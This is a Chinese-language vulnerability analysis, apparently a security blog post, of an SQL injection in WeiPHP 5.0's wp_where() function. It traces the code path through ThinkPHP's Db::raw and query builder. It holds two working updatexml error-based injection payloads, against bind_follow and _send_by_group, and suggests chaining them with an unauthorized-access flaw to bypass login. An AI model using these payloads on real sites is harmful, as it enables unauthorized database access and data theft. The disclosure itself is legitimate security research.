和thinkphp3.2.3的exp注入类似。

payload

1http://php.local/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=) and updatexml(1,concat(0x7e,user(),0x7e),1) -- +

分析

\app\home\controller\Index::bind_follow()

20191211101117

uid直接通过I()获取

1<?php
2function I($name, $default = '', $filter = null, $datas = null)
3{
4    return input($name, $default, $filter);
5}

然后经过 wp_where() -> where() -> find()函数

1<?php
2$info = M('user_follow')->where(wp_where($map))->find();

跟进 wp_where()

 1<?php
 2function wp_where($field)
 3{
 4    if (!is_array($field)) {
 5        return $field;
 6    }
 7
 8    $res = [];
 9    foreach ($field as $key => $value) {
10        if (is_numeric($key) || (is_array($value) && count($value) == 3)) {
11            if (strtolower($value[1]) == 'exp' && !is_object($value[2])) {
12                $value[2] = Db::raw($value[2]);
13            }
14            $res[] = $value;
15        } elseif (is_array($value)) {
16            if (strtolower($value[0]) == 'exp' && !is_object($value[1])) {
17                $value[1] = Db::raw($value[1]);
18            }
19            $res[] = [
20                $key,
21                $value[0],
22                $value[1]
23            ];
24        } else {
25            $res[] = [
26                $key,
27                '=',
28                $value
29            ];
30        }
31    }
32    //    dump($res);
33    return $res;
34}

在elseif语句中,如果传入的字段是数组,并且下标为0的值为exp,那么会执行 Db::raw()来进行表达式查询

20191211102436

跟进 Db::raw() 进入到 \think\Db::__callStatic$methodraw()

1<?php
2public static function __callStatic($method, $args)
3{
4    return call_user_func_array([static::connect(), $method], $args);
5}

call_user_func_array回调[static::connect(),$method],跟进static::connect()

 1<?php
 2public static function connect($config = [], $name = false, $query = '')
 3{
 4    // 解析配置参数
 5    $options = self::parseConfig($config ?: self::$config);
 6
 7    $query = $query ?: $options['query'];
 8
 9    // 创建数据库连接对象实例
10    self::$connection = Connection::instance($options, $name);
11
12    return new $query(self::$connection);
13}

20191211102708

返回的是\think\db\Query类,那么call_user_func_array回调的就是\think\db\Query类下的 raw() 方法。

继续跟进

1<?php
2//\think\db\Query::raw
3public function raw($value)
4{
5    return new Expression($value);
6}

发现返回的是一个表达式,最后wp_where()返回res

20191211103106

进入到where()

1<?php
2public function where($field, $op = null, $condition = null)
3{
4    $param = func_get_args();
5    array_shift($param);
6    return $this->parseWhereExp('AND', $field, $op, $condition, $param);
7}

进入parseWhereExp()

 1<?php
 2protected function parseWhereExp($logic, $field, $op, $condition, array $param = [], $strict = false)
 3{
 4    ...省略
 5    if ($field instanceof Expression) {
 6        return $this->whereRaw($field, is_array($op) ? $op : [], $logic);
 7    } elseif ($strict) {
 8        // 使用严格模式查询
 9        $where = [$field, $op, $condition, $logic];
10    } elseif (is_array($field)) {
11        // 解析数组批量查询
12        return $this->parseArrayWhereItems($field, $logic);
13    }
14    ...省略
15    return $this;
16}

满足elseif是数组条件,进入到 parseArrayWhereItems()

 1<?php
 2protected function parseArrayWhereItems($field, $logic)
 3{
 4    if (key($field) !== 0) {
 5        $where = [];
 6        foreach ($field as $key => $val) {
 7            if ($val instanceof Expression) {
 8                $where[] = [$key, 'exp', $val];
 9            } elseif (is_null($val)) {
10                $where[] = [$key, 'NULL', ''];
11            } else {
12                $where[] = [$key, is_array($val) ? 'IN' : '=', $val];
13            }
14        }
15    }
16    else {
17        // 数组批量查询
18        $where = $field;
19    }
20
21    if (!empty($where)) {
22        $this->options['where'][$logic] = isset($this->options['where'][$logic]) ? array_merge($this->options['where'][$logic], $where) : $where;
23    }
24
25    return $this;
26}

合并where条件之后返回$this,然后进入到find()函数

 1<?php
 2public function find($data = null)
 3{
 4    if ($data instanceof Query) {
 5        return $data->find();
 6    } elseif ($data instanceof \Closure) {
 7        $data($this);
 8        $data = null;
 9    }
10
11    $this->parseOptions();
12
13    if (!is_null($data)) {
14        // AR模式分析主键条件
15        $this->parsePkWhere($data);
16    }
17
18    $this->options['data'] = $data;
19
20    $result = $this->connection->find($this);
21
22    if ($this->options['fetch_sql']) {
23        return $result;
24    }
25
26    // 数据处理
27    if (empty($result)) {
28        return $this->resultToEmpty();
29    }
30
31    if (!empty($this->model)) {
32        // 返回模型对象
33        $this->resultToModel($result, $this->options);
34    } else {
35        $this->result($result);
36    }
37
38    return $result;
39}

进入$this->connection->find($this)

 1<?php
 2public function find(Query $query)
 3{
 4    // 分析查询表达式
 5    $options = $query->getOptions();
 6    $pk      = $query->getPk($options);
 7
 8    $data = $options['data'];
 9    $query->setOption('limit', 1);
10    ...
11
12    $query->setOption('data', $data);
13
14    // 生成查询SQL
15    $sql = $this->builder->select($query);
16
17    $query->removeOption('limit');
18
19    $bind = $query->getBind();
20
21    if (!empty($options['fetch_sql'])) {
22        // 获取实际执行的SQL语句
23        return $this->getRealSql($sql, $bind);
24    }
25
26    // 事件回调
27    $result = $query->trigger('before_find');
28
29    if (!$result) {
30        // 执行查询
31        $resultSet = $this->query($sql, $bind, $options['master'], $options['fetch_pdo']);
32
33        if ($resultSet instanceof \PDOStatement) {
34            // 返回PDOStatement对象
35            return $resultSet;
36        }
37
38        $result = isset($resultSet[0]) ? $resultSet[0] : null;
39    }
40    ...
41
42        return $result;
43}

20191211104045

$this->builder->select($query)生成SQL语句,带入恶意SQL

20191211104703

造成注入。

20191211104738

影响范围

2019/12/11 weiphp5.0官网最新版

所有使用了 wp_where() 函数并且参数可控的SQL查询均受到影响,前台后台均存在注入。

20191211110406

需要登录的点可以配合之前写的《weiphp多数模块存在未授权访问》来绕过登录进行注入。

比如

1http://php.local/public/index.php/weixin/message/_send_by_group
2POST:group_id[0]=exp&group_id[1]=) and updatexml(1,concat(0x7e,user(),0x7e),1) -- 

20191211105553

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。